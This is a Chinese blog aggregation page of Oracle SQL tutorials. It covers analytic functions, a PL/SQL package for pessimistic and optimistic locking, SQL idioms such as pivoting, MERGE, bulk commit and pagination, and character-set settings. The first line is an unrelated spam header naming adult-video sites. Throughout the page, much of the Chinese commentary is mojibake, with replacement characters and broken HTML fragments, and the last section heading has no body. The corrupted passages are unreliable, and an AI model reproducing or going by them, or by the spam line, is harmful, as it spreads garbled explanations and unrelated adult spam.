亚洲AV成人片色在线观看,2022年亚洲午夜一区二区福利,国产精品亚洲专区在线播放

oracle分析函数

☜♥☞MengChuChen — Wed, 25 Apr 2007 12:46:00 GMT

oracle分析函数

zhouwf0726 | 25 七月, 2006 12:51

oracle分析函数--SQL*PLUS环境
--1、GROUP BY子句

--CREATE TEST TABLE AND INSERT TEST DATA.
create table students
(id number(15,0),
area varchar2(10),
stu_type varchar2(2),
score number(20,2));

insert into students values(1, '111', 'g', 80 );
insert into students values(1, '111', 'j', 80 );
insert into students values(1, '222', 'g', 89 );
insert into students values(1, '222', 'g', 68 );
insert into students values(2, '111', 'g', 80 );
insert into students values(2, '111', 'j', 70 );
insert into students values(2, '222', 'g', 60 );
insert into students values(2, '222', 'j', 65 );
insert into students values(3, '111', 'g', 75 );
insert into students values(3, '111', 'j', 58 );
insert into students values(3, '222', 'g', 58 );
insert into students values(3, '222', 'j', 90 );
insert into students values(4, '111', 'g', 89 );
insert into students values(4, '111', 'j', 90 );
insert into students values(4, '222', 'g', 90 );
insert into students values(4, '222', 'j', 89 );
commit;

col score format 999999999999.99

--A、GROUPING SETS

select id,area,stu_type,sum(score) score
from students
group by grouping sets((id,area,stu_type),(id,area),id)
order by id,area,stu_type;

/*--------理解grouping sets
select a, b, c, sum( d ) from t
group by grouping sets ( a, b, c )

�{�效�?br>
select * from (
select a, null, null, sum( d ) from t group by a
union all
select null, b, null, sum( d ) from t group by b
union all
select null, null, c, sum( d ) from t group by c
)
*/

--B、ROLLUP

select id,area,stu_type,sum(score) score
from students
group by rollup(id,area,stu_type)
order by id,area,stu_type;

/*--------理解rollup
select a, b, c, sum( d )
from t
group by rollup(a, b, c);

�{�效�?br>
select * from (
select a, b, c, sum( d ) from t group by a, b, c
union all
select a, b, null, sum( d ) from t group by a, b
union all
select a, null, null, sum( d ) from t group by a
union all
select null, null, null, sum( d ) from t
)
*/

--C、CUBE

select id,area,stu_type,sum(score) score
from students
group by cube(id,area,stu_type)
order by id,area,stu_type;

/*--------理解cube
select a, b, c, sum( d ) from t
group by cube( a, b, c)

�{�效�?br>
select a, b, c, sum( d ) from t
group by grouping sets(
( a, b, c ),
( a, b ), ( a ), ( b, c ),
( b ), ( a, c ), ( c ),
() )
*/

--D、GROUPING

/*从上面的�l�果中我们很�Ҏ(gu��)��发现,每个�l�计数据所对应的行都会(x��)出现null,
如何来区分到底是�Ҏ(gu��)��那个字段做的汇��d��,grouping函数判断是否合计�?*/

select decode(grouping(id),1,'all id',id) id,
decode(grouping(area),1,'all area',to_char(area)) area,
decode(grouping(stu_type),1,'all_stu_type',stu_type) stu_type,
sum(score) score
from students
group by cube(id,area,stu_type)
order by id,area,stu_type;

--2、OVER()函数的��?br>--1、RANK()、DENSE_RANK() 的、ROW_NUMBER()、CUME_DIST()、MAX()、AVG()

break on id skip 1
select id,area,score from students order by id,area,score desc;

select id,rank() over(partition by id order by score desc) rk,score from students;

--允许�q�列名次、名�ơ不间断
select id,dense_rank() over(partition by id order by score desc) rk,score from students;

--即��SCORE相同�Q�ROW_NUMBER()�l�果也是不同
select id,row_number() over(partition by ID order by SCORE desc) rn,score from students;

select cume_dist() over(order by id) a, --该组最大row_number/所有记录row_number
row_number() over (order by id) rn,id,area,score from students;

select id,max(score) over(partition by id order by score desc) as mx,score from students;

select id,area,avg(score) over(partition by id order by area) as avg,score from students; --注意有无order by的区�?br>
--按照ID求AVG
select id,avg(score) over(partition by id order by score desc rows between unbounded preceding
and unbounded following ) as ag,score from students;

--2、SUM()

select id,area,score from students order by id,area,score desc;

select id,area,score,
sum(score) over (order by id,area) �q�箋求和, --按照OVER后边内容汇��L��?br>sum(score) over () ��d��, -- 此处sum(score) over () �{�同于sum(score)
100*round(score/sum(score) over (),4) "份额(%)"
from students;

select id,area,score,
sum(score) over (partition by id order by area ) �q�id�l�求�? --按照id内容汇��L��?br>sum(score) over (partition by id) id��d��, --各id的分数��d��
100*round(score/sum(score) over (partition by id),4) "id份额(%)",
sum(score) over () ��d��, -- 此处sum(score) over () �{�同于sum(score)
100*round(score/sum(score) over (),4) "份额(%)"
from students;

--4、LAG(COL,n,default)、LEAD(OL,n,default) --取前后边N条数�?br>
select id,lag(score,1,0) over(order by id) lg,score from students;

select id,lead(score,1,0) over(order by id) lg,score from students;

--5、FIRST_VALUE()、LAST_VALUE()

select id,first_value(score) over(order by id) fv,score from students;

select id,last_value(score) over(order by id) fv,score from students;

☜♥☞MengChuChen 2007-04-25 20:46 发表评论

Oracle�(zh��n)�观��锁和乐观封锁在比较

☜♥☞MengChuChen — Wed, 25 Apr 2007 12:42:00 GMT

在Php格式�?冒号被�{义了,应该在的有的old和new前加冒号,以示更加清晰.

--oracle�(zh��n)�观��锁应用�C�Z��(以下包是研究Oracle�?1i后模拟的)�Q?br>--ttx_tmp.sql

代码:

create or replace package ttx_temp_pkg is

  g_ok varchar2(2) := 'OK';    

  g_changed varchar2(21) :='CHANGED BY OTHER USER';

  g_no_row varchar2(14) := 'NO ROW UPDATED';

  

  procedure lock_row

  (

    x_message         out nocopy varchar2,

    p_id              in number,

    p_owner           in varchar2,

    p_object_name     in varchar2,

    p_subobject_name  in varchar2,

    p_object_id       in number,

    p_data_object_id  in number,

    p_object_type     in varchar2,

    p_created         in date,

    p_last_ddl_time   in date,

    p_timestamp       in varchar2,

    p_status          in varchar2,

    p_temporary       in varchar2,

    p_generated       in varchar2,

    p_secondary       in varchar2

  );

  

  procedure update_row

  (

    x_message         out nocopy varchar2,

    p_id              in number,

    p_owner           in varchar2,

    p_object_name     in varchar2,

    p_subobject_name  in varchar2,

    p_object_id       in number,

    p_data_object_id  in number,

    p_object_type     in varchar2,

    p_created         in date,

    p_last_ddl_time   in date,

    p_timestamp       in varchar2,

    p_status          in varchar2,

    p_temporary       in varchar2,

    p_generated       in varchar2,

    p_secondary       in varchar2  

  );

  

  procedure delete_row

  (

    p_id in number,

    x_message out nocopy varchar2

  );



end ttx_temp_pkg;

/



create or replace package body ttx_temp_pkg is



  procedure lock_row

  (

    x_message         out nocopy varchar2,

    p_id              in number,

    p_owner           in varchar2,

    p_object_name     in varchar2,

    p_subobject_name  in varchar2,

    p_object_id       in number,

    p_data_object_id  in number,

    p_object_type     in varchar2,

    p_created         in date,

    p_last_ddl_time   in date,

    p_timestamp       in varchar2,

    p_status          in varchar2,

    p_temporary       in varchar2,

    p_generated       in varchar2,

    p_secondary       in varchar2

  ) is

    cursor cur_ttx_temp is

      select

        id,

        owner,

        object_name,

        subobject_name,

        object_id,

        data_object_id,

        object_type,

        created,

        last_ddl_time,

        timestamp,

        status,

        temporary,

        generated,

        secondary

      from ttx_temp

      where id = p_id

      for update nowait;

    ctt cur_ttx_temp%rowtype;  

            

  begin

      open cur_ttx_temp;

      fetch cur_ttx_temp into ctt;      

      if ((ctt.owner=p_owner) or

          (ctt.owner is null and p_owner is null))

        and ((ctt.object_name=p_object_name) or

          (ctt.object_name is null and p_object_name is null))

        and ((ctt.subobject_name=p_subobject_name) or

          (ctt.subobject_name is null and p_subobject_name is null))

        and ((ctt.object_id=p_object_id) or

          (ctt.object_id is null and p_object_id is null))

        and ((ctt.data_object_id=p_data_object_id) or

          (ctt.data_object_id is null  and p_data_object_id is null))

        and ((ctt.object_type=p_object_type) or

          (ctt.object_type is null and p_object_type is null))

        and ((ctt.created=p_created) or

          (ctt.created is null and p_created is null))

        and ((ctt.last_ddl_time=p_last_ddl_time) or

          (ctt.last_ddl_time is null and p_last_ddl_time is null))

        and ((ctt.timestamp=p_timestamp) or

          (ctt.timestamp is null and p_timestamp is null))

        and ((ctt.status=p_status) or

          (ctt.status is null and p_status is null))

        and ((ctt.temporary=p_temporary) or

          (ctt.temporary is null and p_temporary is null))

        and ((ctt.generated=p_generated) or

          (ctt.generated is null and p_generated is null))

        and ((ctt.secondary=p_secondary) or

          (ctt.secondary is null and p_secondary is null)) then        

        x_message := g_ok;    

      else

        x_message := g_changed;

      end if;  

      close cur_ttx_temp;

     

  exception

    when others then

      x_message := substrb(sqlcode||'/'||sqlerrm,1,200);  

      if cur_ttx_temp%isopen then

        close cur_ttx_temp;

      end if;

  end;

  

  procedure update_row

  (

    x_message         out nocopy varchar2,

    p_id              in number,

    p_owner           in varchar2,

    p_object_name     in varchar2,

    p_subobject_name  in varchar2,

    p_object_id       in number,

    p_data_object_id  in number,

    p_object_type     in varchar2,

    p_created         in date,

    p_last_ddl_time   in date,

    p_timestamp       in varchar2,

    p_status          in varchar2,

    p_temporary       in varchar2,

    p_generated       in varchar2,

    p_secondary       in varchar2  

  ) is

  begin

      update ttx_temp

      set    

      owner          = p_owner,           

      object_name    = p_object_name,

      subobject_name = p_subobject_name,

      object_id      = p_object_id,

      data_object_id = p_data_object_id,

      object_type    = p_object_type,

      created        = p_created,

      last_ddl_time  = p_last_ddl_time,

      timestamp      = p_timestamp,

      status         = p_status,

      temporary      = p_temporary,

      generated      = p_generated,

      secondary      = p_secondary       

      where id=p_id;

      

      if sql%rowcount > 0 then

        x_message := g_ok;

      else

        x_message := g_no_row;

    end if;  

  exception

    when others then

      x_message := substrb(sqlcode||'/'||sqlerrm,1,200);

  end;

  

  procedure delete_row

  (

    p_id in number,

    x_message out nocopy varchar2

  ) is

  begin

      delete ttx_temp

      where id=p_id;

      if sql%rowcount > 0 then

        x_message := g_ok;

      else

        raise no_data_found;

      end if;

  

  exception

    when others then

        x_message := substrb(sqlcode||'/'||sqlerrm,1,200);    

  end;  



end ttx_temp_pkg;

/

--环境准备

ttx@TTX>create table ttx_temp as select *
2 from dba_objects where rownum < 100;

Table created.

ttx@TTX>alter table ttx_temp add id number;

Table altered.

ttx@TTX>create sequence ttx_temp_s;

Sequence created.

ttx@TTX>update ttx_temp set id = ttx_temp_s.nextval;

99 rows updated.

ttx@TTX>commit;

Commit complete.

ttx@TTX>alter table ttx_temp modify id not null;

Table altered.

ttx@TTX>alter table ttx_temp add constraint ttx_temp_pk primary key(id);

Table altered.

ttx@TTX>show errros;
SP2-0158: unknown SHOW option "errros"
ttx@TTX>desc ttx_temp
Name Null? Type
----------------------------------------------------- -------- ------------------------------------
OWNER VARCHAR2(30)
OBJECT_NAME VARCHAR2(128)
SUBOBJECT_NAME VARCHAR2(30)
OBJECT_ID NUMBER
DATA_OBJECT_ID NUMBER
OBJECT_TYPE VARCHAR2(19)
CREATED DATE
LAST_DDL_TIME DATE
TIMESTAMP VARCHAR2(19)
STATUS VARCHAR2(7)
TEMPORARY VARCHAR2(1)
GENERATED VARCHAR2(1)
SECONDARY VARCHAR2(1)
ID NOT NULL NUMBER

ttx@TTX>column object_name format a30
ttx@TTX>column owner format a15
ttx@TTX>select owner,object_name from ttx_temp where id < 10;

OWNER OBJECT_NAME
--------------- ------------------------------
SYS ICOL$
SYS I_USER1
SYS CON$
SYS UNDO$
SYS C_COBJ#
SYS I_OBJ#
SYS PROXY_ROLE_DATA$
SYS I_IND1
SYS I_CDEF2

9 rows selected.

ttx@TTX>desc ttx_temp_pkg
PROCEDURE DELETE_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
P_ID NUMBER IN
X_MESSAGE VARCHAR2 OUT
PROCEDURE LOCK_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
X_MESSAGE VARCHAR2 OUT
P_ID NUMBER IN
P_OWNER VARCHAR2 IN
P_OBJECT_NAME VARCHAR2 IN
P_SUBOBJECT_NAME VARCHAR2 IN
P_OBJECT_ID NUMBER IN
P_DATA_OBJECT_ID NUMBER IN
P_OBJECT_TYPE VARCHAR2 IN
P_CREATED DATE IN
P_LAST_DDL_TIME DATE IN
P_TIMESTAMP VARCHAR2 IN
P_STATUS VARCHAR2 IN
P_TEMPORARY VARCHAR2 IN
P_GENERATED VARCHAR2 IN
P_SECONDARY VARCHAR2 IN
PROCEDURE UPDATE_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
X_MESSAGE VARCHAR2 OUT
P_ID NUMBER IN
P_OWNER VARCHAR2 IN
P_OBJECT_NAME VARCHAR2 IN
P_SUBOBJECT_NAME VARCHAR2 IN
P_OBJECT_ID NUMBER IN
P_DATA_OBJECT_ID NUMBER IN
P_OBJECT_TYPE VARCHAR2 IN
P_CREATED DATE IN
P_LAST_DDL_TIME DATE IN
P_TIMESTAMP VARCHAR2 IN
P_STATUS VARCHAR2 IN
P_TEMPORARY VARCHAR2 IN
P_GENERATED VARCHAR2 IN
P_SECONDARY VARCHAR2 IN

ttx@TTX>

--前台操作用户通过前台界面查出需要的数据(select * from ttx_temp)�Q?br>--然后对对ID=1的这行数据的SUBOBJECT_NAME�q�行修改后提交更新时�Q?br>--�E�序应该�c�M��于下面的方式调用�Q�就可以保证数据更新不被丢失

代码:

begin

  --old.xxx 在调用时用具体的初始值替�?/font>,在Oracle Form和Delphi中都支持Old和New的模�?/font>,

  --在JAVA中我不太清楚,应该是有办法�?

  ttx_temp_pkg.lock_row

  (

    x_message         => v_message,       

    p_id              => id,            

    p_owner           => old.owner,

    p_object_name     => old.object_name,

    p_subobject_name  => old.subobject_name,

    p_object_id       => old.object_id,

    p_data_object_id  => old.data_object_id,

    p_object_type     => old.object_type,

    p_created         => old.created,

    p_last_ddl_time   => old.last_ddl_time,

    p_timestamp       => old.timestamp,

    p_status          => old.status,

    p_temporary       => old.temporary,

    p_generated       => old.generated,

    p_secondary       => old.secondary

  );

  

  if v_message = 'OK' then

    ttx_temp_pkg.update_row      

    (

      x_message         => v_message,

      p_id              => id,--用具体的��g���?

      p_owner           => new.owner,         

      p_object_name     => new.object_name,   

      p_subobject_name  => new.subobject_name,

      p_object_id       => new.object_id,     

      p_data_object_id  => new.data_object_id,

      p_object_type     => new.object_type,   

      p_created         => new.created,       

      p_last_ddl_time   => new.last_ddl_time,

      p_timestamp       => new.timestamp,     

      p_status          => new.status,        

      p_temporary       => new.temporary,     

      p_generated       => new.generated,     

      p_secondary       => new.secondary      

    );

    

    if v_message = 'OK' then

      --数据更新成功

    else

      --数据更新��p�|  

    end if;

    

  else

    --锁定行出错，具体信息�?/font>:v_message  

  end if;  

  

end;

--Oracle乐观��锁�C�Z��Q?br>--前台操作用户通过前台界面查出需要的数据(select t.rowid,t.* from ttx_temp t)�Q?br>--然后对对ID=1的这行数据的SUBOBJECT_NAME�q�行修改提交更新�Q?br>--应该使用的程序代码类��gؓ(f��)(Delphi可以自已产生�Q�其余的不太清楚)�Q?br>

代码:

update ttx_temp t

set t.subobject_name=new.subobject_name

where t.rowid=_rowid--用具体的��g���?

and t.id=old.id

and nvl(t.owner,'"$!')=nvl(old.owner,'"$!')

and nvl(t.object_name,'"$!')=nvl(old.object_name,'"$!')

and nvl(t.object_id,'"$!')=nvl(old.object_id,'"$!')

and nvl(t.data_object_id,'"$!')=nvl(old.data_object_id,'"$!')

and nvl(t.object_type,'"$!')=nvl(old.object_type,'"$!')

and nvl(t.created,'"$!')=nvl(old.created,'"$!')

and nvl(t.last_ddl_time,'"$!')=nvl(old.last_ddl_time,'"$!')

and nvl(t.timestamp,'"$!')=nvl(old.timestamp,'"$!')

and nvl(t.status,'"$!')=nvl(old.status,'"$!')

and nvl(t.temporary,'"$!')=nvl(old.temporary,'"$!')

and nvl(t.generated,'"$!')=nvl(old.generated,'"$!')

and nvl(t.secondary,'"$!')=nvl(old.secondary,'"$!');

--乐观��锁的代码量相对来说��很多，但增大了丢失更新的风险。在实际应用�?br>--到底是��用�?zh��n)�观封锁还是乐观封锁，由开发�h员来定。不�q�Oracle 11i版的ERP
--如此庞大复杂的系�l�都使用�(zh��n)�观��锁�Q�没有理��p��明乐观封锁优于�?zh��n)�观封锁�?/font>

☜♥☞MengChuChen 2007-04-25 20:42 发表评论

Oracle SQL�_�֦�SQL语句讲解

☜♥☞MengChuChen — Wed, 25 Apr 2007 12:36:00 GMT

--行列转换行�{�?br>DROP TABLE t_change_lc;
CREATE TABLE t_change_lc (card_code VARCHAR2(3), q NUMBER, bal NUMBER);

INSERT INTO t_change_lc
SELECT '001' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4
UNION
SELECT '002' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4;

SELECT * FROM t_change_lc;

SELECT a.card_code,
SUM(decode(a.q, 1, a.bal, 0)) q1,
SUM(decode(a.q, 2, a.bal, 0)) q2,
SUM(decode(a.q, 3, a.bal, 0)) q3,
SUM(decode(a.q, 4, a.bal, 0)) q4
FROM t_change_lc a
GROUP BY a.card_code
ORDER BY 1;

--行列转换列�{�?br>DROP TABLE t_change_cl;
CREATE TABLE t_change_cl AS
SELECT a.card_code,
SUM(decode(a.q, 1, a.bal, 0)) q1,
SUM(decode(a.q, 2, a.bal, 0)) q2,
SUM(decode(a.q, 3, a.bal, 0)) q3,
SUM(decode(a.q, 4, a.bal, 0)) q4
FROM t_change_lc a
GROUP BY a.card_code
ORDER BY 1;

SELECT * FROM t_change_cl;

SELECT t.card_code,
t.rn q,
decode(t.rn, 1, t.q1, 2, t.q2, 3, t.q3, 4, t.q4) bal
FROM (SELECT a.*, b.rn
FROM t_change_cl a,
(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM <= 4) b) t
ORDER BY 1, 2;

--行列转换行�{�?合�ƈ
DROP TABLE t_change_lc_comma;
CREATE TABLE t_change_lc_comma AS SELECT card_code,'quarter_'||q AS q FROM t_change_lc;

SELECT * FROM t_change_lc_comma;

SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q
FROM (SELECT a.card_code,
a.q,
row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn
FROM t_change_lc_comma a) t1
START WITH t1.rn = 1
CONNECT BY t1.card_code = PRIOR t1.card_code
AND t1.rn - 1 = PRIOR t1.rn
GROUP BY t1.card_code;

--行列转换列�{�?分割
DROP TABLE t_change_cl_comma;
CREATE TABLE t_change_cl_comma AS
SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q
FROM (SELECT a.card_code,
a.q,
row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn
FROM t_change_lc_comma a) t1
START WITH t1.rn = 1
CONNECT BY t1.card_code = PRIOR t1.card_code
AND t1.rn - 1 = PRIOR t1.rn
GROUP BY t1.card_code;

SELECT * FROM t_change_cl_comma;

SELECT t.card_code,
substr(t.q,
instr(';' || t.q, ';', 1, rn),
instr(t.q || ';', ';', 1, rn) - instr(';' || t.q, ';', 1, rn)) q
FROM (SELECT a.card_code, a.q, b.rn
FROM t_change_cl_comma a,
(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM <= 100) b
WHERE instr(';' || a.q, ';', 1, rn) > 0) t
ORDER BY 1, 2;

-- 实现一条记录根据条件多表插�?br>DROP TABLE t_ia_src;
CREATE TABLE t_ia_src AS SELECT 'a'||ROWNUM c1, 'b'||ROWNUM c2 FROM dual CONNECT BY ROWNUM<=5;
DROP TABLE t_ia_dest_1;
CREATE TABLE t_ia_dest_1(flag VARCHAR2(10) , c VARCHAR2(10));
DROP TABLE t_ia_dest_2;
CREATE TABLE t_ia_dest_2(flag VARCHAR2(10) , c VARCHAR2(10));
DROP TABLE t_ia_dest_3;
CREATE TABLE t_ia_dest_3(flag VARCHAR2(10) , c VARCHAR2(10));

SELECT * FROM t_ia_src;
SELECT * FROM t_ia_dest_1;
SELECT * FROM t_ia_dest_2;
SELECT * FROM t_ia_dest_3;

INSERT ALL
WHEN (c1 IN ('a1','a3')) THEN
INTO t_ia_dest_1(flag,c) VALUES(flag1,c2)
WHEN (c1 IN ('a2','a4')) THEN
INTO t_ia_dest_2(flag,c) VALUES(flag2,c2)
ELSE
INTO t_ia_dest_3(flag,c) VALUES(flag1||flag2,c1||c2)
SELECT c1,c2, 'f1' flag1, 'f2' flag2 FROM t_ia_src;

-- 如果存在��更斎ͼ�不存在就插入用一个语句实�?br>DROP TABLE t_mg;
CREATE TABLE t_mg(code VARCHAR2(10), NAME VARCHAR2(10));

SELECT * FROM t_mg;

MERGE INTO t_mg a
USING (SELECT 'the code' code, 'the name' NAME FROM dual) b
ON (a.code = b.code)
WHEN MATCHED THEN
UPDATE SET a.NAME = b.NAME
WHEN NOT MATCHED THEN
INSERT (code, NAME) VALUES (b.code, b.NAME);

-- 抽取/删除重复记录
DROP TABLE t_dup;
CREATE TABLE t_dup AS SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM<=10;
INSERT INTO t_dup SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM<=2;

SELECT * FROM t_dup;

SELECT * FROM t_dup a WHERE a.ROWID <> (SELECT MIN(b.ROWID) FROM t_dup b WHERE a.code=b.code);

SELECT b.code, b.NAME
FROM (SELECT a.code,
a.NAME,
row_number() over(PARTITION BY a.code ORDER BY a.ROWID) rn
FROM t_dup a) b
WHERE b.rn > 1;

-- IN/EXISTS的不同适用环境
-- t_orders.customer_id有烦�?br>SELECT a.*
FROM t_employees a
WHERE a.employee_id IN
(SELECT b.sales_rep_id FROM t_orders b WHERE b.customer_id = 12);

SELECT a.*
FROM t_employees a
WHERE EXISTS (SELECT 1
FROM t_orders b
WHERE b.customer_id = 12
AND a.employee_id = b.sales_rep_id);

-- t_employees.department_id有烦�?br>SELECT a.*
FROM t_employees a
WHERE a.department_id = 10
AND EXISTS
(SELECT 1 FROM t_orders b WHERE a.employee_id = b.sales_rep_id);

SELECT a.*
FROM t_employees a
WHERE a.department_id = 10
AND a.employee_id IN (SELECT b.sales_rep_id FROM t_orders b);

-- FBI
DROP TABLE t_fbi;
CREATE TABLE t_fbi AS
SELECT ROWNUM rn, dbms_random.STRING('z',10) NAME , SYSDATE + dbms_random.VALUE * 10 dt FROM dual
CONNECT BY ROWNUM <=10;

CREATE INDEX idx_nonfbi ON t_fbi(dt);

DROP INDEX idx_fbi_1;
CREATE INDEX idx_fbi_1 ON t_fbi(trunc(dt));

SELECT * FROM t_fbi WHERE trunc(dt) = to_date('2006-09-21','yyyy-mm-dd') ;

-- 不徏议��?br>SELECT * FROM t_fbi WHERE to_char(dt, 'yyyy-mm-dd') = '2006-09-21';

-- LOOP中的COMMIT/ROLLBACK
DROP TABLE t_loop PURGE;
create TABLE t_loop AS SELECT * FROM user_objects WHERE 1=2;

SELECT * FROM t_loop;

-- 逐行提交
DECLARE
BEGIN
FOR cur IN (SELECT * FROM user_objects) LOOP
INSERT INTO t_loop VALUES cur;
COMMIT;
END LOOP;
END;

-- 模拟扚w��提交
DECLARE
v_count NUMBER;
BEGIN
FOR cur IN (SELECT * FROM user_objects) LOOP
INSERT INTO t_loop VALUES cur;
v_count := v_count + 1;
IF v_count >= 100 THEN
COMMIT;
END IF;
END LOOP;
COMMIT;
END;

-- 真正的批量提�?br>DECLARE
CURSOR cur IS
SELECT * FROM user_objects;
TYPE rec IS TABLE OF user_objects%ROWTYPE;
recs rec;
BEGIN
OPEN cur;
WHILE (TRUE) LOOP
FETCH cur BULK COLLECT
INTO recs LIMIT 100;
-- forall 实现扚w��
FORALL i IN 1 .. recs.COUNT
INSERT INTO t_loop VALUES recs (i);
COMMIT;
EXIT WHEN cur%NOTFOUND;
END LOOP;
CLOSE cur;
END;

-- �(zh��n)�观锁定/乐观锁定
DROP TABLE t_lock PURGE;
CREATE TABLE t_lock AS SELECT 1 ID FROM dual;

SELECT * FROM t_lock;

-- 常见的实现逻辑�Q�隐含bug
DECLARE
v_cnt NUMBER;
BEGIN
-- �q�里有�ƈ发性的bug
SELECT MAX(ID) INTO v_cnt FROM t_lock;

-- here for other operation
v_cnt := v_cnt + 1;
INSERT INTO t_lock (ID) VALUES (v_cnt);
COMMIT;
END;

-- 高�ƈ发环境下�Q�安全的实现逻辑
DECLARE
v_cnt NUMBER;
BEGIN
-- �Ҏ(gu��)��定的行取得lock
SELECT ID INTO v_cnt FROM t_lock WHERE ID=1 FOR UPDATE;
-- 在有lock的情况下�l�箋下面的操�?br>SELECT MAX(ID) INTO v_cnt FROM t_lock;

-- here for other operation
v_cnt := v_cnt + 1;
INSERT INTO t_lock (ID) VALUES (v_cnt);
COMMIT; --提交�q�且释放lock
END;

-- ��解�?软解�?br>DROP TABLE t_hard PURGE;
CREATE TABLE t_hard (ID INT);

SELECT * FROM t_hard;

DECLARE
sql_1 VARCHAR2(200);
BEGIN
-- hard parse
-- java中的同等语句�?Statement.execute()
FOR i IN 1 .. 1000 LOOP
sql_1 := 'insert into t_hard(id) values(' || i || ')';
EXECUTE IMMEDIATE sql_1;
END LOOP;
COMMIT;

-- soft parse
--java中的同等语句�?PreparedStatement.execute()
sql_1 := 'insert into t_hard(id) values(:id)';
FOR i IN 1 .. 1000 LOOP
EXECUTE IMMEDIATE sql_1
USING i;
END LOOP;
COMMIT;
END;

-- 正确的分��늮��?
SELECT *
FROM (SELECT a.*, ROWNUM rn
FROM (SELECT * FROM t_employees ORDER BY first_name) a
WHERE ROWNUM <= 500)
WHERE rn > 480 ;

-- 分页��法(why not this one)
SELECT a.*, ROWNUM rn
FROM (SELECT * FROM t_employees ORDER BY first_name) a
WHERE ROWNUM <= 500 AND ROWNUM > 480;

-- 分页��法(why not this one)
SELECT b.*
FROM (SELECT a.*, ROWNUM rn
FROM t_employees a
WHERE ROWNUM < = 500
ORDER BY first_name) b
WHERE b.rn > 480;

-- OLAP
-- ��计合计
SELECT CASE
WHEN a.deptno IS NULL THEN
'合计'
WHEN a.deptno IS NOT NULL AND a.empno IS NULL THEN
'��计'
ELSE
'' || a.deptno
END deptno,
a.empno,
a.ename,
SUM(a.sal) total_sal
FROM scott.emp a
GROUP BY GROUPING SETS((a.deptno),(a.deptno, a.empno, a.ename),());

-- 分组排序
SELECT a.deptno,
a.empno,
a.ename,
a.sal,
-- 可蟩跃的rank
rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r1,
-- 密集型rank
dense_rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r2,
-- 不分�l�排�?br>rank() over(ORDER BY sal DESC) r3
FROM scott.emp a
ORDER BY a.deptno,a.sal DESC;

-- 当前行数据和�?后n行的数据比较
SELECT a.empno,
a.ename,
a.sal,
-- 上面一�?br>lag(a.sal) over(ORDER BY a.sal DESC) lag_1,
-- 下面三行
lead(a.sal, 3) over(ORDER BY a.sal DESC) lead_3
FROM scott.emp a
ORDER BY a.sal DESC;

☜♥☞MengChuChen 2007-04-25 20:36 发表评论

ORACLE 字符集问�?

☜♥☞MengChuChen — Fri, 13 Apr 2007 01:06:00 GMT

ORACLE 字符集问�?/font>

一、什么是oracle字符�?/span>

　　Oracle字符集是一个字节数据的解释的符号集�?/span>,有大��之�?/span>,有相互的包容关系�?/span>ORACLE 支持国家语言的体�pȝ��构允�怽�使用本地化语�a�来存储，处理�Q�检索数据。它使数据库工具�Q�错误消息，排序�ơ序�Q�日期，旉��Q�货币，数字�Q�和日历自动适应本地化语�a�和��^台�?/span>

SELECT * FROM V$NLS_PARAMETERS;

1 NLS_LANGUAGE SIMPLIFIED CHINESE

2 NLS_TERRITORY CHINA

3 NLS_CURRENCY RMB

4 NLS_ISO_CURRENCY CHINA

5 NLS_NUMERIC_CHARACTERS .,

6 NLS_CALENDAR GREGORIAN

7 NLS_DATE_FORMAT DD-MON-RR

8 NLS_DATE_LANGUAGE SIMPLIFIED CHINESE

9 NLS_CHARACTERSET AL32UTF8

10 NLS_SORT BINARY

11 NLS_TIME_FORMAT HH.MI.SSXFF AM

12 NLS_TIMESTAMP_FORMAT DD-MON-RR HH.MI.SSXFF AM

13 NLS_TIME_TZ_FORMAT HH.MI.SSXFF AM TZR

14 NLS_TIMESTAMP_TZ_FORMAT DD-MON-RR HH.MI.SSXFF AM TZR

15 NLS_DUAL_CURRENCY RMB

16 NLS_NCHAR_CHARACTERSET UTF8

17 NLS_COMP BINARY

18 NLS_LENGTH_SEMANTICS BYTE

19 NLS_NCHAR_CONV_EXCP FALSE

二、如何查�?/span>Oracle的字�W�集

ORACLE�?/span>三方面的字符集，一�?/span>oracel server端的字符集，二是oracle client端的字符�?/span>;三是dmp文�g的字�W�集。在做数据导入的时候，需要这三个字符集都一致才能正��导入�?/span>

--查看oracel server端的字符�?/span>

select userenv('language') from dual;

1 SIMPLIFIED CHINESE_CHINA.AL32UTF8

--查看dmp文�g的字�W�集

�?/span>oracle�?/span>exp工具导出�?/span>dmp文�g也包含了字符集信息，dmp文�g的第2和第3个字节记录了dmp文�g的字�W�集。如�?/span>dmp文�g不大�Q�比如只有几M或几�?/span>M�Q�可以用UltraEdit打开(16�q�制方式)�Q�看�W?/span>2�W?/span>3个字节的内容�Q�如0354�Q�然后用以下SQL查出它对应的字符�?/span>:

select nls_charset_name(to_number('0354','xxxx')) from dual

--查看oracel client�?/span>�?/span>字符�?/span>

　　是注册表里面相应OracleHome�?/span>NLS_LANG。还可以�?/span>dos�H�口里面自己讄��Q�比�?/span>:

　　set nls_lang=AMERICAN_AMERICA.ZHS16GBK

　　�q�样��只影响�q�个�H�口里面的环境变�?/span>

☜♥☞MengChuChen 2007-04-13 09:06 发表评论

Oracle 数据导入�Ҏ(gu��)��比较

☜♥☞MengChuChen — Fri, 13 Apr 2007 01:02:00 GMT

